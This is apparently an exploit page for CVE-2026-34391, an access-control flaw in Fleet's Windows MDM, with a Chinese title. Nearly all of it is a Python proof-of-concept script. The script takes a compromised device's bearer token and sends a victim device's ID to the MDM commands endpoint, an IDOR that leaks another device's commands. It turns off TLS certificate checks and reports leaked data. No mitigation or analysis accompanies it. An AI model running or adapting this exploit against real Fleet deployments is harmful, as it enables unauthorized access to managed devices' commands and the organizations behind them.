CVE-2026-34391 Fleet Windows MDM越权访问漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34391: Fleet Windows MDM Access Control Vulnerability # This script demonstrates how a compromised device might fetch commands intended for another device. import requests target_url = "https://fleet-server.example.com/api/v1/fleet/windows/mdm/commands" malicious_device_token = "<COMPROMISED_DEVICE_TOKEN>" victim_device_id = "<TARGET_VICTIM_DEVICE_ID>" headers = { "Authorization": f"Bearer {malicious_device_token}", "Content-Type": "application/json" } # Exploit: Request commands for a different device ID by manipulating the query or body payload = { "device_id": victim_device_id # Vulnerability: IDOR allows setting this to any ID } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Leaked data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")